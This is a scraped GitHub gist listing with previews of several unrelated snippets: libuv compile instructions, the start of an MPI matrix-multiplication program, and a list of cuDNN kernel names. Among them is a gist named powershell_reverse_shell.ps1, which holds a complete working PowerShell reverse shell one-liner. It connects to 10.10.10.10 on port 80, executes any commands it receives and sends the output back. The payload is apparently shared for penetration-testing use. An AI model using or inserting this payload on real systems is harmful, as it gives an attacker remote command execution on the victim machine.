Skip to content

Instantly share code, notes, and snippets.

View wangyu-'s full-sized avatar

Yancey Wang wangyu-

View GitHub Profile
@Jxck
Jxck / README.md
Created December 16, 2012 09:16
libuv TCP server/client sample

how to compile

$ gcc -g -Wall -I /path/to/libuv/include /path/to/libuv/uv.a -framework CoreServices server.c -o server
$ gcc -g -Wall -I /path/to/libuv/include /path/to/libuv/uv.a -framework CoreServices client.c -o client
@rehrumesh
rehrumesh / mpiMult.c
Created May 31, 2015 13:37
Matrix multiplication using MPI
/**********************************************************************
* MPI-based matrix multiplication AxB=C
*********************************************************************/
#include <stdio.h>
#include "mpi.h"
#define N 4 /* number of rows and columns in matrix */
MPI_Status status;
@egre55
egre55 / powershell_reverse_shell.ps1
Last active July 19, 2024 06:07
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@simon-mo
simon-mo / cudnn7.global.kernel
Last active August 15, 2022 02:01
All cuDNN compute kernels
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_cc
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_cc_batched
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_cn
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_cn_batched
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_ct
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_ct_batched
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_lower_cn
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_lower_cn_batched
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_lower_nc
STT_FUNC STB_GLOBAL STO_ENTRY cudnn_maxwell_gcgemm_32x32_lower_nc_batched